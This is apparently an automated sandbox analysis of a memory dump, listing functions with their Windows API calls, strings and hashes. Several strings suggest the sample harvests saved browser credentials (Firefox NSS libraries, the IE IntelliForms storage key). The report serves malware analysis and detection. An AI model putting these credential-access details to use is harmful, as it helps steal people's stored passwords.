Instruction Fuzzy Hash: B801D676754B116BEB215F649C89B6B7D9CEF42B4AB004039F502F2181DAB8DE0196A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041171B, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(nss3.dll,00000000,?,?,751457F0,00411871,?,?,?,?,?,00000000), ref: 0041172A
GetModuleHandleW.KERNEL32(sqlite3.dll,?,751457F0,00411871,?,?,?,?,?,00000000), ref: 00411733
GetModuleHandleW.KERNEL32(mozsqlite3.dll,?,751457F0,00411871,?,?,?,?,?,00000000), ref: 0041173C
FreeLibrary.KERNEL32(00000000,?,751457F0,00411871,?,?,?,?,?,00000000), ref: 0041174B
FreeLibrary.KERNEL32(00000000,?,751457F0,00411871,?,?,?,?,?,00000000), ref: 00411752
FreeLibrary.KERNEL32(00000000,?,751457F0,00411871,?,?,?,?,?,00000000), ref: 00411759

Strings

mozsqlite3.dll, xrefs: 00411735
sqlite3.dll, xrefs: 0041172C
nss3.dll, xrefs: 00411725

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHandleLibraryModule
String ID: mozsqlite3.dll$nss3.dll$sqlite3.dll
API String ID: 662261464-3550686275
Opcode ID: 0ba152906d568cc671e1b6f9d2e794e6ae63ac90640bfd5e0f9cb05d093c3698
Instruction ID: e2ab39130582ef49d5f09875a9cbab8dc3c3c45014a759ddc4c6379760142a6f
Opcode Fuzzy Hash: 0ba152906d568cc671e1b6f9d2e794e6ae63ac90640bfd5e0f9cb05d093c3698
Instruction Fuzzy Hash: 7AE04F66F4136DA79A1027F66C84EAB6F5CC896AA13150037AF05A33519EA89C018AF9

Uniqueness

Uniqueness Score: -1.00%

Function 004440EA, Relevance: 15.2, APIs: 8, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 00444125
memcpy.MSVCRT ref: 004441C9
memcpy.MSVCRT ref: 004441DB
memcpy.MSVCRT ref: 00444203
memcpy.MSVCRT ref: 00444215
memcpy.MSVCRT ref: 00444227
memcpy.MSVCRT ref: 00444276
memset.MSVCRT ref: 004442C4

Strings

UCD, xrefs: 00444272, 0044427E, 00444275, 00444281
UCD, xrefs: 00444117, 004442DE, 0044414D, 00444197, 0044411F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$memchrmemset
String ID: UCD$UCD
API String ID: 1581201632-670880344
Opcode ID: 466d59214c80b3bca22488233ffa0f6a545d692d30eb3385f305033defd9c4bb
Instruction ID: 346eebee7d7e8b6f8d140da3993cfc901939ed9edb34b9035315ebb9ce6523fc
Opcode Fuzzy Hash: 466d59214c80b3bca22488233ffa0f6a545d692d30eb3385f305033defd9c4bb
Instruction Fuzzy Hash: 8551D3719001195BEB10EFA8CC95FEEB7B8AF85300F0444ABF955E7281E778E644CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004085D0, Relevance: 15.1, APIs: 10, Instructions: 103COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004085E9
GetSystemMetrics.USER32 ref: 004085EF
GetDC.USER32(00000000), ref: 004085FC
GetDeviceCaps.GDI32(00000000,00000008), ref: 0040860D
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00408614
ReleaseDC.USER32 ref: 0040861B
GetWindowRect.USER32 ref: 0040862E
GetParent.USER32(?), ref: 00408633
GetWindowRect.USER32 ref: 00408650
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 004086AF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
String ID:
API String ID: 2163313125-0
Opcode ID: f1fece8f71670097fa47147ff3162736aa5b7fc67ad6ee2a4cdb5b150032ca2b
Instruction ID: 6b5921239ffcae24bde8aad05d59603f054fe97e3a0e5988cf4f66e7c2dd28aa
Opcode Fuzzy Hash: f1fece8f71670097fa47147ff3162736aa5b7fc67ad6ee2a4cdb5b150032ca2b
Instruction Fuzzy Hash: 2E31A475A00609AFDF04CFB8CD85AEEBBB9FB48350F050539E901F3291DA71ED418A94

Uniqueness

Uniqueness Score: -1.00%

Function 00402D82, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00402D91
abs.MSVCRT ref: 00402E9A
abs.MSVCRT ref: 00402ECC
log.MSVCRT ref: 00402F7D
log.MSVCRT ref: 00402F8F
free.MSVCRT(?), ref: 00402FB1
free.MSVCRT(?), ref: 00402FC5

Strings

, xrefs: 00402DBF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free$wcslen
String ID:
API String ID: 3592753638-3916222277
Opcode ID: 490489ed51bc5752fe94a4990fd5cd344a627c9c2c9d2179b2f34b9e7a32eba5
Instruction ID: 99c2379fcd531e162887146704610c03ee1d54022b9859d6cf2ce1b1ac3fe7c7
Opcode Fuzzy Hash: 490489ed51bc5752fe94a4990fd5cd344a627c9c2c9d2179b2f34b9e7a32eba5
Instruction Fuzzy Hash: 87616630408342DBDB68AF11D64852FB7B1FF84755F90093FF482A22D0D7B88989DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB24, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

LoadMenuW.USER32 ref: 0040BB4B

Part of subcall function 0040B974: GetMenuItemCount.USER32 ref: 0040B98A
Part of subcall function 0040B974: memset.MSVCRT ref: 0040B9A9
Part of subcall function 0040B974: GetMenuItemInfoW.USER32 ref: 0040B9E5
Part of subcall function 0040B974: wcschr.MSVCRT ref: 0040B9FD

DestroyMenu.USER32(00000000), ref: 0040BB69
CreateDialogParamW.USER32 ref: 0040BBB7
memset.MSVCRT ref: 0040BBD3
GetWindowTextW.USER32 ref: 0040BBE8
EnumChildWindows.USER32 ref: 0040BC13
DestroyWindow.USER32(00000000), ref: 0040BC1A

Part of subcall function 0040B7A3: _snwprintf.MSVCRT ref: 0040B7C8

Strings

caption, xrefs: 0040BBFF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Menu$DestroyItemWindowmemset$ChildCountCreateDialogEnumInfoLoadParamTextWindows_snwprintfwcschr
String ID: caption
API String ID: 1928666178-4135340389
Opcode ID: e424083c0ca5028a7f352563cdf0725328d58b63161901b2b272de0412def72f
Instruction ID: e22aff4ff37d874dc9406bb5861836d8cb00257f57c634ff68b223b0e4ee6d7d
Opcode Fuzzy Hash: e424083c0ca5028a7f352563cdf0725328d58b63161901b2b272de0412def72f
Instruction Fuzzy Hash: 6821A172500218ABEF21AF50EC49EAF3B78FF46754F00447AF905A5192DB789990CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00408AE8, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408B09
_snwprintf.MSVCRT ref: 00408B3C
wcslen.MSVCRT ref: 00408B48
memcpy.MSVCRT ref: 00408B60
wcslen.MSVCRT ref: 00408B6E
memcpy.MSVCRT ref: 00408B81

Strings

%s (%s), xrefs: 00408B31
TK@, xrefs: 00408B0E, 00408B65, 00408B86

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)$TK@
API String ID: 3979103747-3557169880
Opcode ID: f4f66d51605293ffc8b9c0d396a24cc3e89f4468af1d1deabf9f37978fbe6db0
Instruction ID: e896be4b8b4c8dd321127e9193ea498031fb30aa9e34a4c02f498fe4f9df0790
Opcode Fuzzy Hash: f4f66d51605293ffc8b9c0d396a24cc3e89f4468af1d1deabf9f37978fbe6db0
Instruction Fuzzy Hash: 6F2162B2800118ABDF20DF95CC45E8AB7B8FF44318F05846AEA48A7106DB78E618CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00407CF6, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,00407E1C,?,00000000,?,0040DEA5,00000000,?,0040FF40,00000000), ref: 00407D1B
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000,?,00000000,?,?,00407E1C,?,00000000,?,0040DEA5), ref: 00407D39
wcslen.MSVCRT ref: 00407D46
wcscpy.MSVCRT ref: 00407D56
LocalFree.KERNEL32(00000000,?,00000400,00000000,00000000,00000000,?,00000000,?,?,00407E1C,?,00000000,?,0040DEA5,00000000), ref: 00407D60
wcscpy.MSVCRT ref: 00407D70

Strings

netmsg.dll, xrefs: 00407D16
Unknown Error, xrefs: 00407D68

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: Unknown Error$netmsg.dll
API String ID: 2767993716-572158859
Opcode ID: 92f02a28e67b077d30d243fedb73b8a8cf66204261723a13f34f01c6e1a273b1
Instruction ID: f6f7092b450fef05d0d872bf5e04b1357ca4228fed94eee9f5e7a838667149bb
Opcode Fuzzy Hash: 92f02a28e67b077d30d243fedb73b8a8cf66204261723a13f34f01c6e1a273b1
Instruction Fuzzy Hash: D201F771A041147BFB1527A0EC4AFAF7B6CDF567A1F20003AF506B10D1EA786E00D6AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC8A, Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00408250: GetFileAttributesW.KERNELBASE(?,0040BC93,?,0040BD4A,00000000,?,00000000,00000208,?), ref: 00408254

wcscpy.MSVCRT ref: 0040BCA4
wcscpy.MSVCRT ref: 0040BCB4
GetPrivateProfileIntW.KERNEL32 ref: 0040BCC5

Part of subcall function 0040B82A: GetPrivateProfileStringW.KERNEL32 ref: 0040B846

Strings

general, xrefs: 0040BCA9
rtl, xrefs: 0040BCBF
charset, xrefs: 0040BCD3
TranslatorName, xrefs: 0040BCE9
TranslatorURL, xrefs: 0040BCFD

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 3176057301-2039793938
Opcode ID: bf7a0a351ce4cc8900ce4d7334675be5d5e82d406c6e89171aabba82c61a61db
Instruction ID: d09d9999bd57a78b58a4055e383115949195630bbf49bad653da3d74dfc2830b
Opcode Fuzzy Hash: bf7a0a351ce4cc8900ce4d7334675be5d5e82d406c6e89171aabba82c61a61db
Instruction Fuzzy Hash: 8AF0C232EC0A5137EB1137221D03F2A2608CF92B57F15847BB904762D3DA7C4A15D2DE

Uniqueness

Uniqueness Score: -1.00%

Function 0042EE6A, Relevance: 13.7, APIs: 2, Strings: 7, Instructions: 245COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0042EF2E
memset.MSVCRT ref: 0042EF69

Strings

too many attached databases - max %d, xrefs: 0042EEC3
cannot ATTACH database within transaction, xrefs: 0042EED9
attached databases must use the same text encoding as main database, xrefs: 0042EFE2
database is already attached, xrefs: 0042EF94
database %s is already in use, xrefs: 0042EF3B
unable to open database: %s, xrefs: 0042F0C1
out of memory, xrefs: 0042F0D8

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpymemset
String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
API String ID: 1297977491-2001300268
Opcode ID: 5b15f45002721a9a60b4fb60247e63f78b1bd55caec31cf620cafc73cca17a46
Instruction ID: af9b9ef2f5a1795804296138b741be62980529f77760b3752da5ffa5b8d2aff6
Opcode Fuzzy Hash: 5b15f45002721a9a60b4fb60247e63f78b1bd55caec31cf620cafc73cca17a46
Instruction Fuzzy Hash: E991E370B00311EFEB10DF66D581BAAB7F0AF44308F94846FE8559B242D778E945CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C33A, Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C127
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C135
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C146
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C15D
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C166

??2@YAPAXI@Z.MSVCRT ref: 0040C37A
??2@YAPAXI@Z.MSVCRT ref: 0040C396
memcpy.MSVCRT ref: 0040C3BB
memcpy.MSVCRT ref: 0040C3CF
??2@YAPAXI@Z.MSVCRT ref: 0040C452
??2@YAPAXI@Z.MSVCRT ref: 0040C45C
??2@YAPAXI@Z.MSVCRT ref: 0040C494

Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B340
Part of subcall function 0040B301: LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040B3D9
Part of subcall function 0040B301: memcpy.MSVCRT ref: 0040B419

Part of subcall function 0040B301: wcscpy.MSVCRT ref: 0040B382
Part of subcall function 0040B301: wcslen.MSVCRT ref: 0040B3A0
Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B3AE

Strings

8"E, xrefs: 0040C3A7, 0040C3C0, 0040C41C, 0040C3B1, 0040C3C8
d, xrefs: 0040C473

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@??3@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID: 8"E$d
API String ID: 1140211610-2418960419
Opcode ID: 630083eee7cbf1c10867c7b3dfcb71eb0ae95e41edb8436bedb91c8cd5998a80
Instruction ID: ebdbfbf94f53a3690cf38ac0907b9363cbed6c4ceb444703d02dc3853126dfb0
Opcode Fuzzy Hash: 630083eee7cbf1c10867c7b3dfcb71eb0ae95e41edb8436bedb91c8cd5998a80
Instruction Fuzzy Hash: 3851AE726007049FD724DF29C586B5AB7E4FF48314F10862EE95ADB391DB78E5408B48

Uniqueness

Uniqueness Score: -1.00%

Function 004171A2, Relevance: 13.6, APIs: 9, Instructions: 126filesleepCOMMON

Download Yara Rule

APIs

LockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004171FA
Sleep.KERNEL32(00000001), ref: 00417204
GetLastError.KERNEL32 ref: 00417216
UnlockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004172EE

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$ErrorLastLockSleepUnlock
String ID:
API String ID: 3015003838-0
Opcode ID: 157ba01f85cfbf502a73a237e895ba3edcb1d901ab41fe78731a80adfc8094fa
Instruction ID: b1728a7637de8f6c0c3372c087848d546b31592ea547c84e90bff2a5ea0aeb9c
Opcode Fuzzy Hash: 157ba01f85cfbf502a73a237e895ba3edcb1d901ab41fe78731a80adfc8094fa
Instruction Fuzzy Hash: 2F41F27550C702AFE7218F20DC01BA7B7F1AB90B14F20496EF59552381DBB9D9C68B1E

Uniqueness

Uniqueness Score: -1.00%

Function 00417E39, Relevance: 13.6, APIs: 9, Instructions: 67sleepfileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,00000000,00000000,00000080,004536AC,00417555,00000000,?,00000000,00000000), ref: 00417E63
GetFileAttributesW.KERNEL32(00000000), ref: 00417E6A
GetLastError.KERNEL32 ref: 00417E77
Sleep.KERNEL32(00000064), ref: 00417E8C
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000080,004536AC,00417555,00000000,?,00000000,00000000), ref: 00417E95
GetFileAttributesA.KERNEL32(00000000), ref: 00417E9C
GetLastError.KERNEL32 ref: 00417EA9
Sleep.KERNEL32(00000064), ref: 00417EBE
free.MSVCRT(00000000), ref: 00417EC7

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AttributesDeleteErrorLastSleep$free
String ID:
API String ID: 2802642348-0
Opcode ID: a04d25dda4580931073b8405a409411f2d4958d2b117b70079af6824c241d029
Instruction ID: 47bfd0c0f8263ce6d61c00ded009a165ca5b61f2fc3d609cfbcfb361f1c4a64c
Opcode Fuzzy Hash: a04d25dda4580931073b8405a409411f2d4958d2b117b70079af6824c241d029
Instruction Fuzzy Hash: 1711063D5087149FCA2027706CC86BF36F49B57772B2102AAF953922D1DB2D4CC1956D

Uniqueness

Uniqueness Score: -1.00%

Function 004147A8, Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 004147DF
memcpy.MSVCRT ref: 0041480B
memcpy.MSVCRT ref: 00414825

Strings

", xrefs: 004147D9
<, xrefs: 004147BC
<br>, xrefs: 0041481F
&, xrefs: 00414805
>, xrefs: 004147CA
°, xrefs: 004147F6

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 40b6ca6cdc405dc99759052cebd1cbc672c98c7a28f502bbdac5d88d0a62fdf2
Instruction ID: 1058aa724a71ea66541b56df80d5a3cdc90ec5801de880f61679d0e38116f1b7
Opcode Fuzzy Hash: 40b6ca6cdc405dc99759052cebd1cbc672c98c7a28f502bbdac5d88d0a62fdf2
Instruction Fuzzy Hash: 2901927AE542A1A5F63031094C86FF74198DBE3B15FB14127FA96252C5E28D49C382AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040A56F, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00408D9F: free.MSVCRT(?,00409176,00000000,?,00000000), ref: 00408DA2
Part of subcall function 00408D9F: free.MSVCRT(?,?,00409176,00000000,?,00000000), ref: 00408DAA

Part of subcall function 00413E4F: RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,004145EB,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,?), ref: 00413E62

Part of subcall function 00408EE8: free.MSVCRT(?,00000000,?,0040923F,00000000,?,00000000), ref: 00408EF7

memset.MSVCRT ref: 0040A5DF
RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001,?,?,?,?,00000000,?), ref: 0040A60D
_wcsupr.MSVCRT ref: 0040A627

Part of subcall function 00408DC5: wcslen.MSVCRT ref: 00408DD7
Part of subcall function 00408DC5: free.MSVCRT(?,00000001,?,00000000,?,?,00409290,?,000000FF), ref: 00408DFD
Part of subcall function 00408DC5: free.MSVCRT(?,00000001,?,00000000,?,?,00409290,?,000000FF), ref: 00408E20
Part of subcall function 00408DC5: memcpy.MSVCRT ref: 00408E44

memset.MSVCRT ref: 0040A676
RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001,80000001,?,000000FF,?,?,?,?,00000000), ref: 0040A6A1
RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040A6AE

Strings

Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 0040A58C

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
String ID: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
API String ID: 4131475296-680441574
Opcode ID: 4844c8675b145070dad572f60e49686fb6ff8cc7004fd1c20b8f23b22dadcfc4
Instruction ID: 4ff845341dcd1a768bfc42e85b7312ef223b671260cd3b9f040e87321517091f
Opcode Fuzzy Hash: 4844c8675b145070dad572f60e49686fb6ff8cc7004fd1c20b8f23b22dadcfc4
Instruction Fuzzy Hash: AB413BB694021DABDB00EF99DC85EEFB7BCAF58304F10417AB504F2191DB789B458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BA65, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BA8A
GetDlgCtrlID.USER32 ref: 0040BA95
GetWindowTextW.USER32 ref: 0040BAAC
memset.MSVCRT ref: 0040BAD3
GetClassNameW.USER32 ref: 0040BAEA
_wcsicmp.MSVCRT ref: 0040BAFC

Part of subcall function 0040B93B: memset.MSVCRT ref: 0040B94E
Part of subcall function 0040B93B: _itow.MSVCRT ref: 0040B95C

Strings

sysdatetimepick32, xrefs: 0040BAF6

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 6b1542d4d031f34238e2cbf040c513ead73d2b908e87e6b72274d0d1e69de0e9
Instruction ID: cf2ea30055fd2b250d8a38ac5c403ff02bed82fd0d2b8d5d11e07c443477a94e
Opcode Fuzzy Hash: 6b1542d4d031f34238e2cbf040c513ead73d2b908e87e6b72274d0d1e69de0e9
Instruction Fuzzy Hash: D31177325002197BEB20EB91DC8AEEF777CEF45750F404066F509E1192EB749A41CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0F4, Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 269COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0041B22C
memcpy.MSVCRT ref: 0041B23E
memcpy.MSVCRT ref: 0041B256
memcpy.MSVCRT ref: 0041B273
memcpy.MSVCRT ref: 0041B28B
memset.MSVCRT ref: 0041B358

Strings

-wal, xrefs: 0041B285
-journal, xrefs: 0041B250

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$memset
String ID: -journal$-wal
API String ID: 438689982-2894717839
Opcode ID: eaf713d1c78eeb4f53fd8429a79299fd1f458fbab507662bd31088aeea31fb16
Instruction ID: 74a332e22f0b607a266e47b82b9d8ba1ef45136a3b8be849caa08d0d2b66e2c9
Opcode Fuzzy Hash: eaf713d1c78eeb4f53fd8429a79299fd1f458fbab507662bd31088aeea31fb16
Instruction Fuzzy Hash: DCA1C071A0464AEFDB14DF64C8417DEBBB0FF04314F14826EE46997381D738AAA4CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004050AF, Relevance: 12.2, APIs: 8, Instructions: 197windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00405153
GetDlgItem.USER32 ref: 00405166
GetDlgItem.USER32 ref: 0040517B
GetDlgItem.USER32 ref: 00405193
EndDialog.USER32(?,00000002), ref: 004051AF
EndDialog.USER32(?,00000001), ref: 004051C4

Part of subcall function 00404E6E: GetDlgItem.USER32 ref: 00404E7B
Part of subcall function 00404E6E: GetDlgItemInt.USER32(?,000003ED,00000000,00000000), ref: 00404E90

SendDlgItemMessageW.USER32 ref: 004051DC
SetDlgItemInt.USER32(?,000003ED,?,00000000), ref: 004052ED

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Item$Dialog$MessageSend
String ID:
API String ID: 3975816621-0
Opcode ID: 59dd15e3fe8b474b1d57f3a51cd517dc36a76ec60ba9fafede058711fffef958
Instruction ID: 2cde12ba5927d4bde9809f16a4ff1e8400ea1fd37873b15a8c1cc8d9e94e8744
Opcode Fuzzy Hash: 59dd15e3fe8b474b1d57f3a51cd517dc36a76ec60ba9fafede058711fffef958
Instruction Fuzzy Hash: 6961B030600B05ABDB31AF25CC86B6B73A5FF50324F00863EF515AA6D1D778A951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00443EEF, Relevance: 12.2, APIs: 3, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00443F6F
_wcsicmp.MSVCRT ref: 00443F84
_wcsicmp.MSVCRT ref: 00443F99

Part of subcall function 00407EAF: wcslen.MSVCRT ref: 00407EBE
Part of subcall function 00407EAF: wcslen.MSVCRT ref: 00407EC8
Part of subcall function 00407EAF: _memicmp.MSVCRT ref: 00407EE3

Strings

.save, xrefs: 00443F69
log profile, xrefs: 00443EFD
signIn, xrefs: 00443F93
https://, xrefs: 00443F31
http://, xrefs: 00443F26

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmp$wcslen$_memicmp
String ID: .save$http://$https://$log profile$signIn
API String ID: 1214746602-2708368587
Opcode ID: 6674e3096d4fb3cc11d8c201664f52075eac2e137ccc72f6e5920f39253551fb
Instruction ID: 597a29036d5ddd155e475e5b18437da6987c3908216f6d337c400390a4fd9aac
Opcode Fuzzy Hash: 6674e3096d4fb3cc11d8c201664f52075eac2e137ccc72f6e5920f39253551fb
Instruction Fuzzy Hash: A54135758087018AF7309EA5D94076773D8DB84B26F208D3FE56AE36C1EEBCE958411E

Uniqueness

Uniqueness Score: -1.00%

Function 004052FD, Relevance: 12.1, APIs: 8, Instructions: 100windowCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040530D
??3@YAXPAX@Z.MSVCRT ref: 00405329
??2@YAPAXI@Z.MSVCRT ref: 0040534F
memset.MSVCRT ref: 0040535F
??2@YAPAXI@Z.MSVCRT ref: 0040538E
InvalidateRect.USER32(?,00000000,00000000,?,?,?,?), ref: 004053DB
SetFocus.USER32(?,?,?,?), ref: 004053E4
??3@YAXPAX@Z.MSVCRT ref: 004053F4

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@$??3@$FocusInvalidateRectmemset
String ID:
API String ID: 2313361498-0
Opcode ID: 423ecc0e168efc5e236e770a124f59d01ae14c40ee3ccd0014aad091b91849b0
Instruction ID: 5d7335f69ca4f594208563f7014043d8df0e1bea6ea55c180c5050c90dc7a29e
Opcode Fuzzy Hash: 423ecc0e168efc5e236e770a124f59d01ae14c40ee3ccd0014aad091b91849b0
Instruction Fuzzy Hash: E931A4B1500A01AFEB14AF69C98691AB7A4FF04354710453FF545E7691DB78EC90CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040547A, Relevance: 12.1, APIs: 8, Instructions: 89windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00405491
GetWindow.USER32(?,00000005), ref: 004054A9
GetWindow.USER32(00000000), ref: 004054AC

Part of subcall function 00401735: GetWindowRect.USER32 ref: 00401744

GetWindow.USER32(00000000,00000002), ref: 004054B8
GetDlgItem.USER32 ref: 004054CE
SendMessageW.USER32(00000000,00000160,0000015E,00000000), ref: 0040550D
GetDlgItem.USER32 ref: 00405517
SendMessageW.USER32(00000000,00000160,0000015E,00000000), ref: 00405566

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Window$ItemMessageRectSend$Client
String ID:
API String ID: 2047574939-0
Opcode ID: f5a5d14270515fb7cfa2e3d83b9b50250a3f0f04f3c8a916ea04835abe187754
Instruction ID: ee080d675ccdbf70b04d6128f25a7e8090f7ef981af0433368dbc7d1a9e2eb74
Opcode Fuzzy Hash: f5a5d14270515fb7cfa2e3d83b9b50250a3f0f04f3c8a916ea04835abe187754
Instruction Fuzzy Hash: AB218071690B0977EA0137229D86F6B366DEF96714F10003AFA007B2C2EEBA580245AD

Uniqueness

Uniqueness Score: -1.00%

Function 00418137, Relevance: 12.1, APIs: 8, Instructions: 70timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00418151
memcpy.MSVCRT ref: 00418160
GetCurrentProcessId.KERNEL32 ref: 00418171
memcpy.MSVCRT ref: 00418184
GetTickCount.KERNEL32 ref: 00418198
memcpy.MSVCRT ref: 004181AB
QueryPerformanceCounter.KERNEL32(?), ref: 004181C1
memcpy.MSVCRT ref: 004181D1

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$CountCounterCurrentPerformanceProcessQuerySystemTickTime
String ID:
API String ID: 4218492932-0
Opcode ID: fda9e58c4000ceba745e64ac9364c45ec6b3e521a2b8c8870e442f0a76aa31b3
